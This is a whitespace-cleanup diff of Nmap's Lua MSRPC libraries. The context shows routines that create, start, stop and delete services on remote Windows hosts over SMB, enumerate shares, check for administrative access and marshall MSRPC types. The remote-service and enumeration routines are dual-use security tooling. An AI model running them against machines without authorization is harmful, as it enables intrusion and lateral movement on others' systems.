querydomaininfo2_result_1['info']['password_properties'] - + if(#password_properties > 0) then local password_properties_response = {} password_properties_response['name'] = "Password properties:" @@ -4294,21 +4294,21 @@ end -- on the system. The name of the service can be whatever you want it to be. The service is created -- in the "stopped" state with "manual" startup, and it ignores errors. The 'servicename' is what -- people will see on the system while the service is running, and what'll stay there is something --- happens that the service can't be deleted properly. +-- happens that the service can't be deleted properly. -- -- Note that this (and the other "service" functions) are highly invasive. They make configuration --- changes to the machine that can potentially affect stability. +-- changes to the machine that can potentially affect stability. -- --- The reason that this and the other "service" functions don't require a smbstate --- object is that I wanted them to be independent. If a service fails to start, I don't want it +-- The reason that this and the other "service" functions don't require a smbstate +-- object is that I wanted them to be independent. If a service fails to start, I don't want it -- to affect the program's ability to stop and delete the service. Every service function is --- independent. +-- independent. -- ---@param host The host object. ---@param servicename The name of the service to create. ---@param path The path and filename on the remote system. ---@return (status, err) If status is false, err is an error message; --- otherwise, err is undefined. +--@param host The host object. +--@param servicename The name of the service to create. +--@param path The path and filename on the remote system. +--@return (status, err) If status is false, err is an error message; +-- otherwise, err is undefined. function service_create(host, servicename, path) local status, smbstate, bind_result, open_result, create_result, close_result @@ -4361,18 +4361,18 @@ function service_create(host, servicename, path) return true end ----Start a service on the remote machine based on its name. For example, to start the registry --- service, this can be called on "RemoteRegistry". +---Start a service on the remote machine based on its name. For example, to start the registry +-- service, this can be called on "RemoteRegistry". -- -- If you start a service on a machine, you should also stop it when you're finished. Every service -- running is extra attack surface for a potential attacker -- ---@param host The host object. ---@param servicename The name of the service to start. +--@param host The host object. +--@param servicename The name of the service to start. --@param args [optional] The arguments to pass to the service. Most built-in services don't --- require arguments. ---@return (status, err) If status is false, err is an error message; --- otherwise, err is undefined. +-- require arguments. +--@return (status, err) If status is false, err is an error message; +-- otherwise, err is undefined. function service_start(host, servicename, args) local status, smbstate, bind_result, open_result, open_service_result, start_result, close_result, query_result @@ -4445,16 +4445,16 @@ function service_start(host, servicename, args) return true end ----Stop a service on the remote machine based on its name. For example, to stop the registry --- service, this can be called on "RemoteRegistry". +---Stop a service on the remote machine based on its name. For example, to stop the registry +-- service, this can be called on "RemoteRegistry". -- -- This can be called on a service that's already stopped without hurting anything (just keep in mind --- that an error will be returned). --- ---@param host The host object. ---@param servicename The name of the service to stop. ---@return (status, err) If status is false, err is an error message; --- otherwise, err is undefined. +-- that an error will be returned). +-- +--@param host The host object. +--@param servicename The name of the service to stop. +--@return (status, err) If status is false, err is an error message; +-- otherwise, err is undefined. function service_stop(host, servicename) local status, smbstate, bind_result, open_result, open_service_result, control_result, close_result, query_result @@ -4525,15 +4525,15 @@ function service_stop(host, servicename) smb.stop(smbstate) return true -end +end ---Delete a service on the remote machine based on its name. I don't recommend deleting any services that --- you didn't create. --- ---@param host The host object. ---@param servicename The name of the service to delete. ---@return (status, err) If status is false, err is an error message; --- otherwise, err is undefined. +-- you didn't create. +-- +--@param host The host object. +--@param servicename The name of the service to delete. +--@return (status, err) If status is false, err is an error message; +-- otherwise, err is undefined. function service_delete(host, servicename) local status, smbstate, bind_result, open_result, open_service_result, delete_result, close_result @@ -4597,10 +4597,10 @@ end ---Retrieves statistical information about the given server. This function requires administrator privileges -- to run, and is present on all Windows versions, so it's a useful way to check whether or not an account --- is administrative. +-- is administrative. --@param host The host object --@return (status, data) If status is false, data is an error message; otherwise, data is a table of information --- about the server. +-- about the server. function get_server_stats(host) local stats local status @@ -4611,25 +4611,25 @@ function get_server_stats(host) if(status == false) then return false, smbstate end - + -- Bind to SRVSVC service local status, bind_result = bind(smbstate, SRVSVC_UUID, SRVSVC_VERSION, nil) if(status == false) then smb.stop(smbstate) return false, bind_result end - + -- Call netservergetstatistics for 'server' local status, netservergetstatistics_result = srvsvc_netservergetstatistics(smbstate, host.ip) if(status == false) then smb.stop(smbstate) return false, netservergetstatistics_result end - + -- Stop the session smb.stop(smbstate) - - -- Build the response + + -- Build the response local stats = netservergetstatistics_result['stat'] -- Convert the date to a string @@ -4644,7 +4644,7 @@ function get_server_stats(host) else stats['period_str'] = string.format("%02dm%02ds", stats['period'] / 60, stats['period'] % 60) end - + -- Combine the 64-bit values stats['bytessent'] = bit.bor(bit.lshift(stats['bytessent_high'], 32), stats['bytessent_low']) stats['bytesrcvd'] = bit.bor(bit.lshift(stats['bytesrcvd_high'], 32), stats['bytesrcvd_low']) @@ -4653,7 +4653,7 @@ function get_server_stats(host) if(stats['period'] == 0) then stats['period'] = 1 end - + -- Get the bytes/second values stats['bytessentpersecond'] = stats['bytessent'] / stats['period'] stats['bytesrcvdpersecond'] = stats['bytesrcvd'] / stats['period'] @@ -4662,9 +4662,9 @@ function get_server_stats(host) end ---Attempts to enumerate the shares on a remote system using MSRPC calls. Without a user account, --- this will likely fail against a modern system, but will succeed against Windows 2000. +-- this will likely fail against a modern system, but will succeed against Windows 2000. -- ---@param host The host object. +--@param host The host object. --@return Status (true or false). --@return List of shares (if status is true) or an an error string (if status is false). function enum_shares(host) @@ -4683,14 +4683,14 @@ function enum_shares(host) -- Bind to SRVSVC service status, bind_result = bind(smbstate, SRVSVC_UUID, SRVSVC_VERSION, nil) if(status == false) then - smb.stop(smbstate) + smb.stop(smbstate) return false, bind_result end -- Call netsharenumall status, netshareenumall_result = srvsvc_netshareenumall(smbstate, host.ip) if(status == false) then - smb.stop(smbstate) + smb.stop(smbstate) return false, netshareenumall_result end @@ -4707,12 +4707,12 @@ function enum_shares(host) end ----Attempts to retrieve additional information about a share. Will fail unless we have --- administrative access. +---Attempts to retrieve additional information about a share. Will fail unless we have +-- administrative access. -- ---@param host The host object. +--@param host The host object. --@return Status (true or false). ---@return A table of information about the share (if status is true) or an an error string (if +--@return A table of information about the share (if status is true) or an an error string (if -- status is false). function get_share_info(host, name) local response = {} @@ -4726,14 +4726,14 @@ function get_share_info(host, name) -- Bind to SRVSVC service local status, bind_result = bind(smbstate, SRVSVC_UUID, SRVSVC_VERSION, nil) if(status == false) then - smb.stop(smbstate) + smb.stop(smbstate) return false, bind_result end -- Call NetShareGetInfo local status, netsharegetinfo_result = srvsvc_netsharegetinfo(smbstate, host.ip, name, 2) if(status == false) then - smb.stop(smbstate) + smb.stop(smbstate) return false, netsharegetinfo_result end @@ -5036,7 +5036,7 @@ end ---Makes a pad for alignment -- @param data Data which needs to be padded for the sake of alignment. -- @param align Integer representing the alignment boundary. --- @param pad_byte The value for pad byte. +-- @param pad_byte The value for pad byte. -- @return Returns the amount of pad calculated by (align-datalen%align)%align. --####################################################################-- function get_pad(data, align, pad_byte) @@ -5048,7 +5048,7 @@ end ---Generates a random string of the requested length. --@param length The length of the string to return. --@param charset The set of letters to choose from. Default: ASCII letters and numbers ---@return The random string. +--@return The random string. --####################################################################-- function random_crap(length, charset) charset = charset or "0123456789abcdefghijklmnoprstuvzxwyABCDEFGHIJKLMNOPRSTUVZXWY" @@ -5059,6 +5059,6 @@ function random_crap(length, charset) end return random_str end - + return _ENV; diff --git a/nselib/msrpcperformance.lua b/nselib/msrpcperformance.lua index 583cd57bd..2325c2473 100644 --- a/nselib/msrpcperformance.lua +++ b/nselib/msrpcperformance.lua @@ -1,17 +1,17 @@ --- -- This module is designed to parse the PERF_DATA_BLOCK structure, which is -- stored in the registry under HKEY_PERFORMANCE_DATA. By querying this structure, you can --- get a whole lot of information about what's going on. +-- get a whole lot of information about what's going on. -- --- To use this from a script, see get_performance_data, it is the only --- "public" function in this module. +-- To use this from a script, see get_performance_data, it is the only +-- "public" function in this module. -- -- My primary sources of information were: -- * This 1996 journal by Matt Pietrek: -- * The followup article: -- * The WinPerf.h header file -- --- And my primary inspiration was PsTools, specifically, pstasklist.exe. +-- And my primary inspiration was PsTools, specifically, pstasklist.exe. -- --@author Ron Bowes --@copyright Same as Nmap--See http://nmap.org/book/man-legal.html @@ -24,10 +24,10 @@ local msrpctypes = require "msrpctypes" local stdnse = require "stdnse" _ENV = stdnse.module("msrpcperformance", stdnse.seeall) ----Parses the title database, which is a series of null-terminated string pairs. +---Parses the title database, which is a series of null-terminated string pairs. -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (status, pos, result) The status (true if successful), the new position in data (or an error -- message), and a table representing the datatype, if any. local function parse_perf_title_database(data, pos) @@ -86,8 +86,8 @@ end -- } PERF_DATA_BLOCK, *PPERF_DATA_BLOCK; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (status, pos, result) The status (true if successful), the new position in data (or an error -- message), and a table representing the datatype, if any. local function parse_perf_data_block(data, pos) @@ -121,7 +121,7 @@ local function parse_perf_data_block(data, pos) -- Ensure that the system name is directly after the header. This technically shouldn't matter, but Microsoft's documentation -- (in WinPref.h) says that the actual object comes "after the PERF_DATA_BLOCK", so it doesn't make sense that the SystemName - -- could be anywhere else. + -- could be anywhere else. if(pos ~= result['SystemNameOffset'] + 1) then return false, "MSRPC: PERF_DATA_BLOCK has SystemName in the wrong location" end @@ -215,8 +215,8 @@ end -- } PERF_OBJECT_TYPE, *PPERF_OBJECT_TYPE; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (status, pos, result) The status (true if successful), the new position in data (or an error -- message), and a table representing the datatype, if any. local function parse_perf_object_type(data, pos) @@ -285,8 +285,8 @@ end -- } PERF_COUNTER_DEFINITION, *PPERF_COUNTER_DEFINITION; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (status, pos, result) The status (true if successful), the new position in data (or an error -- message), and a table representing the datatype, if any. local function parse_perf_counter_definition(data, pos) @@ -310,14 +310,14 @@ local function parse_perf_counter_definition(data, pos) end ---Parse the actual counter value. This is a fairly simple function, it takes a counter --- definition and pulls out data based on it. +-- definition and pulls out data based on it. -- -- Note: I don't think this is doing the 8-byte values right, I suspect that they're supposed --- to be doubles. +-- to be doubles. -- ---@param data The data being processed. ---@param pos The position within data. ---@param counter_definition The matching counter_definition. +--@param data The data being processed. +--@param pos The position within data. +--@param counter_definition The matching counter_definition. --@return (status, pos, result) The status (true if successful), the new position in data (or an error -- message), and a table representing the datatype, if any. local function parse_perf_counter(data, pos, counter_definition) @@ -374,8 +374,8 @@ end -- } PERF_INSTANCE_DEFINITION, *PPERF_INSTANCE_DEFINITION; -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (status, pos, result) The status (true if successful), the new position in data (or an error -- message), and a table representing the datatype, if any. local function parse_perf_instance_definition(data, pos) @@ -406,11 +406,11 @@ end -- DWORD ByteLength; // Length in bytes of this structure, -- // including the following counters -- } PERF_COUNTER_BLOCK, *PPERF_COUNTER_BLOCK; --- +-- -- -- ---@param data The data being processed. ---@param pos The position within data. +--@param data The data being processed. +--@param pos The position within data. --@return (status, pos, result) The status (true if successful), the new position in data (or an error -- message), and a table representing the datatype, if any. local function parse_perf_counter_block(data, pos) @@ -422,12 +422,12 @@ local function parse_perf_counter_block(data, pos) end ---Retrieve the parsed performance data from the given host for the requested object values. To get a list of possible --- object values, leave 'objects' blank and look at result['title_database'] -- it'll contain a list of --- indexes that can be looked up. These indexes are passed as a string or as a series of space-separated strings (eg, --- "230" for "Process" and "238" for "Process" and "Processor"). +-- object values, leave 'objects' blank and look at result['title_database'] -- it'll contain a list of +-- indexes that can be looked up. These indexes are passed as a string or as a series of space-separated strings (eg, +-- "230" for "Process" and "238" for "Process" and "Processor"). -- --@param host The host object ---@param objects [optional] The space-separated list of object numbers to retrieve. Default: only retrieve the database. +--@param objects [optional] The space-separated list of object numbers to retrieve. Default: only retrieve the database. function get_performance_data(host, objects) -- Create the SMB session @@ -508,7 +508,7 @@ function get_performance_data(host, objects) --stdnse.print_debug("Index = %d\n", object_type['ObjectNameTitleIndex']) local object_name = result['title_database'][object_type['ObjectNameTitleIndex']] result[object_name] = {} - + --stdnse.print_debug("\n\nOBJECT: %s\n", object_name) --stdnse.print_debug(" Counters: %d\n", object_type['NumCounters']) --stdnse.print_debug(" Instances: %d\n", object_type['NumInstances']) @@ -547,7 +547,7 @@ function get_performance_data(host, objects) -- Set up the instance array local instance_name = object_instances[j]['InstanceName'] result[object_name][instance_name] = {} - + -- Bring the pos to the start of the counter block pos = instance_start + object_instances[j]['ByteLength'] @@ -556,7 +556,7 @@ function get_performance_data(host, objects) --stdnse.print_debug(" NameOffset: %d\n", object_instances[j]['NameOffset']) --stdnse.print_debug(" NameLength: %d\n", object_instances[j]['NameLength']) --stdnse.print_debug(" --------------\n") - + -- The counter block local status, counter_block status, pos, counter_block = parse_perf_counter_block(queryvalue_result['value'], pos) @@ -564,7 +564,7 @@ function get_performance_data(host, objects) msrpc.stop_smb(smbstate) return false, pos end - + for k = 1, object_type['NumCounters'], 1 do -- Each individual counter local status, counter_result @@ -580,7 +580,7 @@ function get_performance_data(host, objects) -- Save it in the result result[object_name][instance_name][counter_name] = counter_result end - + -- Bring the pos to the end of the next section pos = instance_start + object_instances[j]['ByteLength'] + counter_block['ByteLength'] end @@ -608,7 +608,7 @@ function get_performance_data(host, objects) end msrpc.stop_smb(smbstate) - + return true, result end diff --git a/nselib/msrpctypes.lua b/nselib/msrpctypes.lua index a93334a27..3c7f5a015 100644 --- a/nselib/msrpctypes.lua +++ b/nselib/msrpctypes.lua @@ -1,41 +1,41 @@ --- -- This module was written to marshall parameters for Microsoft RPC (MSRPC) calls. The values passed in and out are based --- on structs defined by the protocol, and documented by Samba developers. For detailed breakdowns of the types, take a --- look at Samba 4.0's .idl files. +-- on structs defined by the protocol, and documented by Samba developers. For detailed breakdowns of the types, take a +-- look at Samba 4.0's .idl files. -- -- There is nothing simple about how this all comes together, so I'll take some time to explain how it's done. This -- is fairly technical and, when it comes right down to it, unnecessary for how to use these functions (although if you --- want to write one of these, you best understand it). +-- want to write one of these, you best understand it). -- -- There are base types, like int32 and int16. These are marshalled the way you'd expect (converted to a 4- or --- 2-byte little endian string). The only trick with these is that they have to end up aligned on 4-byte boundaries. +-- 2-byte little endian string). The only trick with these is that they have to end up aligned on 4-byte boundaries. -- So, a 2-byte integer requires 2 bytes of padding, and a 1-byte integer requires 3 bytes of padding. The functions --- marshall_int32, marshall_int16, etc. will marshall the base types, and unmarshall_int32, --- unmarshall_int16, etc. will unmarshall them. +-- marshall_int32, marshall_int16, etc. will marshall the base types, and unmarshall_int32, +-- unmarshall_int16, etc. will unmarshall them. -- -- Strings are a little bit trickier. A string is preceded by three 32-bit values: the max length, the offset, and -- the length. Additionally, strings may or may not be null terminated, depending on where they're being used. For -- more information on strings, see the comments on marshall_unicode. The functions marshall_unicode --- and unmarshall_unicode can be used to mashall/unmarshall strings. +-- and unmarshall_unicode can be used to mashall/unmarshall strings. -- -- Pointers also have interesting properties. A pointer is preceeded by a 4-byte value called (at least by Wireshark) --- the "referent id". For a valid pointer, this can be anything except 0 (I use 'NMAP' for it). If it's '0', then +-- the "referent id". For a valid pointer, this can be anything except 0 (I use 'NMAP' for it). If it's '0', then -- it's a null pointer and the data doesn't actually follow. To help clarify, a pointer to the integer '4' could be -- marshalled as the hex string 78 56 34 12 04 00 00 00 (the referent_id is 0x12345678 and the integer --- itself is 0x00000004). If the integer is nil, then it's marshalled as 00 00 00 00, which is simply --- a referent_id of 0. +-- itself is 0x00000004). If the integer is nil, then it's marshalled as 00 00 00 00, which is simply +-- a referent_id of 0. -- -- From the perspective of the program, pointers can be marshalled by using the "_ptr" versions of normal functions -- (for example, marshall_int32_ptr and unmarshall_unicode_ptr. From the perspective -- of functions within this module, especially functions for marshalling structs and arrays, the marshall_ptr -- and unmarshall_ptr functions should be used. These can marshall any data type; the marshalling function --- is passed as a parameter. +-- is passed as a parameter. -- --- So far, this is fairly straight forward. Arrays are where everything falls apart. +-- So far, this is fairly straight forward. Arrays are where everything falls apart. -- -- An array of basic types is simply the types themselves, preceeded by the "max length" of the array (which can be -- longer than the actual length). When pointers are used in an array, however, things get hairy. The 'referent_id's --- of the pointers are all put at the start of the array, along with the base types. Then, the data is put at the +-- of the pointers are all put at the start of the array, along with the base types. Then, the data is put at the -- end of the array, for all the referent_ids that aren't null. Let's say you have four strings, "abc", "def", null, and -- "jkl", in an array. The array would look like this: -- @@ -47,7 +47,7 @@ -- "def" -- "ghi" -- --- +-- -- If you mix in a base type, it goes at the front along with the referent_ids. So, let's say you have a structure -- that contains two integers and a string. You have an array of these. It would encode like this: -- @@ -62,40 +62,40 @@ -- -- -- From the perspective of the program, arrays shouldn't need to be marshalled/unmarshalled, this is tricky and should be --- left up to functions within this module. Functions within this module should use marshall_array and +-- left up to functions within this module. Functions within this module should use marshall_array and -- unmarshall_array to interact with arrays. These take callback functions for the datatype being stored --- in the array; these callback functions have to be in a particular format, so care should be taken when writing them. --- In particular, the first parameter has to be location, which is used to separate the header (the part with the --- referent_ids) and the body (the part with the pointer data). These are explained more thoroughly in the function headers. +-- in the array; these callback functions have to be in a particular format, so care should be taken when writing them. +-- In particular, the first parameter has to be location, which is used to separate the header (the part with the +-- referent_ids) and the body (the part with the pointer data). These are explained more thoroughly in the function headers. -- -- Structs are handled the same as arrays. The referent_ids and base types go at the top, and the values being pointed to -- go at the bottom. An array of struct, as has already been shown, will have all the base types and referent_ids for all the --- members at the top, and all the values for all the pointers at the bottom. +-- members at the top, and all the values for all the pointers at the bottom. -- -- Structs tend to be custom functions. Sometimes, these functions are passed as the callback to marshall_ptr or -- marshall_array (and the equivalent unmarshall_ functions). This means that the custom struct -- functions have to be able to split themselves into the base types and the pointer data automatically. For an example, see --- the functions that have already been written. +-- the functions that have already been written. -- -- In the case where you need to unmarshall the same struct from both an array and a pointer, there's an issue; they require -- different prototypes. There's really no way to directly fix this, at least, none that I could come up with, so I write -- a function called unmarshall_struct. unmarshall_struct basically calls a struct unmarshalling --- function the same way unmarshall_array would. This is a bit of a kludge, but it's the best I could come up --- with. +-- function the same way unmarshall_array would. This is a bit of a kludge, but it's the best I could come up +-- with. -- --- There are different sections in here, which correspond to "families" of types. I modelled these after Samba's .idl files. +-- There are different sections in here, which correspond to "families" of types. I modelled these after Samba's .idl files. -- MISC corresponds to misc.idl, LSA to lsa.idl, etc. Each of these sections has possible dependencies; for example, SAMR --- functions use LSA strings, and everything uses SECURITY and MISC. So the order is important -- dependencies have to go --- above the module. +-- functions use LSA strings, and everything uses SECURITY and MISC. So the order is important -- dependencies have to go +-- above the module. -- -- The datatypes used here are modelled after the datatypes used by Microsoft's functions. Each function that represents --- a struct will have the struct definition in its comment; and that struct (or the closest representation to it) will be +-- a struct will have the struct definition in its comment; and that struct (or the closest representation to it) will be -- returned. Often, this requires scripts to access something like result['names']['names'][0]['name'], which is -- rather unwieldy, but I decided that following Microsoft's definitions was the most usable way for many reasons. I find -- the best way to figure out how to work a function is to call a print_table()-style function on the result and look at --- how the response is laid out. +-- how the response is laid out. -- --- Many datatypes are automatically encoded when sent and decoded when received to make life easier for developers. Some +-- Many datatypes are automatically encoded when sent and decoded when received to make life easier for developers. Some -- examples are: -- * All absolute time values will be seconds from 1970 -- * All relative time values will be in seconds (this includes the hyper datatype); when possible, the milliseconds/microseconds (as far down as we have access to) will be preserved as a decimal @@ -116,13 +116,13 @@ local HEAD = 'HEAD' local BODY = 'BODY' local ALL = 'ALL' ---- Convert a string to fake unicode (ascii with null characters between them), optionally add a null terminator, +--- Convert a string to fake unicode (ascii with null characters between them), optionally add a null terminator, -- and optionally align it to 4-byte boundaries. This is frequently used in MSRPC calls, so I put it here, but --- it might be a good idea to move this function (and the converse one below) into a separate library. +-- it might be a good idea to move this function (and the converse one below) into a separate library. -- ---@param string The string to convert. ---@param do_null [optional] Add a null-terminator to the unicode string. Default false. ---@return The unicode version of the string. +--@param string The string to convert. +--@param do_null [optional] Add a null-terminator to the unicode string. Default false. +--@return The unicode version of the string. function string_to_unicode(string, do_null) local i local result = "" @@ -141,7 +141,7 @@ function string_to_unicode(string, do_null) if(string == nil) then stdnse.print_debug(1, "MSRPC: WARNING: couldn't convert value to string in string_to_unicode()") end - + -- Loop through the string, adding each character followed by a char(0) for i = 1, #string, 1 do @@ -163,15 +163,15 @@ function string_to_unicode(string, do_null) return result end ---- Read a unicode string from a buffer, similar to how bin.unpack would, optionally eat the null terminator, --- and optionally align it to 4-byte boundaries. +--- Read a unicode string from a buffer, similar to how bin.unpack would, optionally eat the null terminator, +-- and optionally align it to 4-byte boundaries. -- --@param buffer The buffer to read from, typically the full 'arguments' value for MSRPC --@param pos The position in the buffer to start (just like bin.unpack) ---@param length The number of ascii characters that will be read (including the null, if do_null is set). ---@param do_null [optional] Remove a null terminator from the string as the last character. Default false. ---@return (pos, string) The new position and the string read, again imitating bin.unpack. If there was an --- attempt to read off the end of the string, then 'nil' is returned for both parameters. +--@param length The number of ascii characters that will be read (including the null, if do_null is set). +--@param do_null [optional] Remove a null terminator from the string as the last character. Default false. +--@return (pos, string) The new position and the string read, again imitating bin.unpack. If there was an +-- attempt to read off the end of the string, then 'nil' is returned for both parameters. function unicode_to_string(buffer, pos, length, do_null) local i, j, ch, dummy local string = "" @@ -225,16 +225,16 @@ end ---Marshalls a pointer to another datatype. This function will optionally separate the -- REFERENT_ID of the pointer (which goes at location = HEAD) from the data part of the -- pointer (which goes at location = BODY). If the entire pointer is needed, then location --- should be set to ALL. +-- should be set to ALL. -- -- When marshalling the body, the function func is called, which is passed as -- a parameter, with the arguments args. This function has to return a marshalled --- parameter, but other than that it can be any marshalling function. The 'value' parameter +-- parameter, but other than that it can be any marshalling function. The 'value' parameter -- simply determined whether or not it's a null pointer, and will probably be a repease of --- one of the arguments. +-- one of the arguments. -- --- Note that the function func doesn't have to conform to any special prototype, --- as long as the args array matches what the function wants. +-- Note that the function func doesn't have to conform to any special prototype, +-- as long as the args array matches what the function wants. -- -- This can be used to marshall an int16 value of 0x1234 with padding like this: -- @@ -248,21 +248,21 @@ end -- -- --@param location The part of the pointer wanted, either HEAD (for the referent_id), BODY --- (for the pointer data), or ALL (for both together). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. +-- (for the pointer data), or ALL (for both together). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. --@param func The function to call when encoding the body. Should convert the arguments passed -- in the args parameter to a string. --@param args An array of arguments that will be directly passed to the function func --@param value The value that's actually being encoded. This is simply used to determine whether or --- not the pointer is null. ---@return A string representing the marshalled data. +-- not the pointer is null. +--@return A string representing the marshalled data. local function marshall_ptr(location, func, args, value) local result = "" stdnse.print_debug(4, string.format("MSRPC: Entering marshall_ptr(location = %s)", location)) - -- If we're marshalling the HEAD section, add a REFERENT_ID. + -- If we're marshalling the HEAD section, add a REFERENT_ID. if(location == HEAD or location == ALL) then if(func == nil or args == nil or value == nil) then result = result .. bin.pack("result --- parameter, it is the result from the first time this is called. +-- parameter, it is the result from the first time this is called. -- -- The function func has to conform to this format: -- @@ -297,28 +297,28 @@ end -- -- --@param location The part of the pointer being processed, either HEAD (for the referent_id), BODY --- (for the pointer data), or ALL (for both together). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. ---@param data The data being processed. +-- (for the pointer data), or ALL (for both together). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. +--@param data The data being processed. --@param pos The position within data --@param func The function that's used to process the body data (only called if it isn't a null --- pointer). This function has to conform to a specific prototype, see above. +-- pointer). This function has to conform to a specific prototype, see above. --@param args The arguments that'll be passed to the function func, after the data --- array and the position. ---@param result This is required when unmarshalling the BODY section, which always comes after --- unmarshalling the HEAD. It is the result returned for this parameter during the +-- array and the position. +--@param result This is required when unmarshalling the BODY section, which always comes after +-- unmarshalling the HEAD. It is the result returned for this parameter during the -- HEAD unmarshall. If the referent_id was '0', then this function doesn't unmarshall --- anything. +-- anything. --@return (pos, result) The new position along with the result. For HEAD the result is either true --- for valid pointers or false for null pointers. For BODY or ALL, the result is --- nil for null pointers, or the data for valid pointers. +-- for valid pointers or false for null pointers. For BODY or ALL, the result is +-- nil for null pointers, or the data for valid pointers. local function unmarshall_ptr(location, data, pos, func, args, result) stdnse.print_debug(4, string.format("MSRPC: Entering unmarshall_ptr()")) if(args == nil) then args = {} end - -- If we're unmarshalling the header, then pull off a referent_id. + -- If we're unmarshalling the header, then pull off a referent_id. if(location == HEAD or location == ALL) then local referent_id pos, referent_id = bin.unpack("marshall_ptr, except that this marshalls a type that isn't a pointer. +---Similar to marshall_ptr, except that this marshalls a type that isn't a pointer. -- It also understands pointers, in the sense that it'll only return data in the HEAD section, since --- basetypes are printed in the HEAD and not the BODY. +-- basetypes are printed in the HEAD and not the BODY. -- -- Using this isn't strictly necessary, but it cleans up functions for generating structs containing --- both pointers and basetypes (see marshall_srvsvc_NetShareInfo2). +-- both pointers and basetypes (see marshall_srvsvc_NetShareInfo2). -- -- Like marshall_ptr, the function doesn't have to match any prototype, as long as the --- proper arguments are passed to it. --- +-- proper arguments are passed to it. +-- --@param location The part of the pointer wanted, either HEAD (for the data itself), BODY --- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the --- referent_id is split from the data (for example, in an array), you will want --- ALL. +-- (for nothing, since this isn't a pointer), or ALL (for the data). Generally, unless the +-- referent_id is split from the data (for example, in an array), you will want +-- ALL. --@param func The function to call when encoding the body. Should convert the arguments passed -- in the args parameter to a string. --@param args An array of arguments that will be directly passed to the function func ---@return A string representing the marshalled data. +--@return A string representing the marshalled data. local function marshall_basetype(location, func, args) local result stdnse.print_debug(4, string.format("MSRPC: Entering marshall_basetype()")) @@ -385,24 +385,24 @@ local function marshall_basetype(location, func, args) return result end ----Marshalls an array. Recall (from the module comment) that the data in an array is split into the --- referent_ids and base types at the top and the data at the bottom. This function will call --- any number of location-aware functions twice (once for the top and once for the bottom). +---Marshalls an array. Recall (from the module comment) that the data in an array is split into the +-- referent_ids and base types at the top and the data at the bottom. This function will call +-- any number of location-aware functions twice (once for the top and once for the bottom). -- -- Each element in the array can technically have a different function. I don't know why I allowed -- that, and may refactor it out in the future. For now, I strongly recommend setting the function --- to the same for every element. +-- to the same for every element. -- -- The function that's called has to have the prototype: -- -- func(location, ) -- --- where "location" is the standard HEAD/BODY/ALL location used throughout the functions. +-- where "location" is the standard HEAD/BODY/ALL location used throughout the functions. -- ---@param array An array of tables. Each table contains 'func', a pointer to the marshalling +--@param array An array of tables. Each table contains 'func', a pointer to the marshalling -- function and 'args', the arguments to pass to the marshalling function after the --- 'location' variable. ---@return A string representing the marshalled data. +-- 'location' variable. +--@return A string representing the marshalled data. function marshall_array(array) local i local result = "" @@ -410,8 +410,8 @@ function marshall_array(array) stdnse.print_debug(4, string.format("MSRPC: Entering marshall_array()")) -- The max count is always at the front of the array (at least, in my tests). It is possible that - -- this won't always hold true, so if you're having an issue that you've traced back to this function, - -- you might want to double-check my assumption. + -- this won't always hold true, so if you're having an issue that you've traced back to this function, + -- you might want to double-check my assumption. result = result .. bin.pack("func has to conform to a very specific prototype: -- -- func(location, data, pos, result, ) -- --- Where location is the standard HEAD/BODY location, data and pos --- are the packet and position within it, result is the result from the HEAD section (if --- it's nil, it isn't used), and args are arbitrary arguments passed to it. +-- Where location is the standard HEAD/BODY location, data and pos +-- are the packet and position within it, result is the result from the HEAD section (if +-- it's nil, it isn't used), and args are arbitrary arguments passed to it. -- --- I made the call to pass the same arguments to each function when it's called. This is, for example, +-- I made the call to pass the same arguments to each function when it's called. This is, for example, -- whether or not to null-terminate a string, or whether or not to pad an int16. If different types are -- required, you're probably out of luck. --- ---@param data The data being processed. ---@param pos The position within data. ---@param count The number of elements in the array. ---@param func The function to call to unmarshall each parameter. Has to match a specific prototype; --- see the function comment. ---@param args Arbitrary arguments to pass to the function. ---@return (pos, result) The new position and the result of unmarshalling this value. +-- +--@param data The data being processed. +--@param pos The position within data. +--@param count The number of elements in the array. +--@param func The function to call to unmarshall each parameter. Has to match a specific prototype; +-- see the function comment. +--@param args Arbitrary arguments to pass to the function. +--@return (pos, result) The new position and the result of unmarshalling this value. local function unmarshall_array(data, pos, count, func, args) local i local size @@ -473,14 +473,14 @@ local function unmarshall_array(data, pos, count, func, args) stdnse.print_debug(1, "MSRPC: ERROR: Ran off the end of a packet in unmarshall_array(). Please report!") end - -- Unmarshall the header, which will be referent_ids and base types. + -- Unmarshall the header, which will be referent_ids and base types. for i = 1, count, 1 do pos, result[i] = func(HEAD, data, pos, nil, table.unpack(args)) end -- Unmarshall the body. Note that the original result (result[i]) is passed back -- into this function. This is required for pointers because, to unmarshall a pointer, - -- we have to remember whether or not it's null. + -- we have to remember whether or not it's null. for i = 1, count, 1 do pos, result[i] = func(BODY, data, pos, result[i], table.unpack(args)) end @@ -491,9 +491,9 @@ local function unmarshall_array(data, pos, count, func, args) end ---Call a function that matches the prototype for unmarshall_array. This allows the same --- struct to be used in unmarshall_array and in unmarshall_ptr. It is kind +-- struct to be used in unmarshall_array and in unmarshall_ptr. It is kind -- of a kludge, but it makes sense, and was the cleanest solution I could come up with to this problem --- (although I'm sure that there's a better one staring me in the face). +-- (although I'm sure that there's a better one staring me in the face). -- -- The func parameter, obviously, has to match the same prototype as strings being passed to -- unmarshall_array, which is: @@ -501,12 +501,12 @@ end -- func(location, data, pos, result, ) -- -- ---@param data The data being processed. ---@param pos The position within data. ---@param func The function to call to unmarshall each parameter. Has to match a specific prototype; --- see the function comment. ---@param args Arbitrary arguments to pass to the function. ---@return (pos, result) The new position and the result of unmarshalling this value. +--@param data The data being processed. +--@param pos The position within data. +--@param func The function to call to unmarshall each parameter. Has to match a specific prototype; +-- see the function comment. +--@param args Arbitrary arguments to pass to the function. +--@return (pos, result) The new position and the result of unmarshalling this value. local function unmarshall_struct(data, pos, func, args) local result @@ -531,15 +531,15 @@ end --- 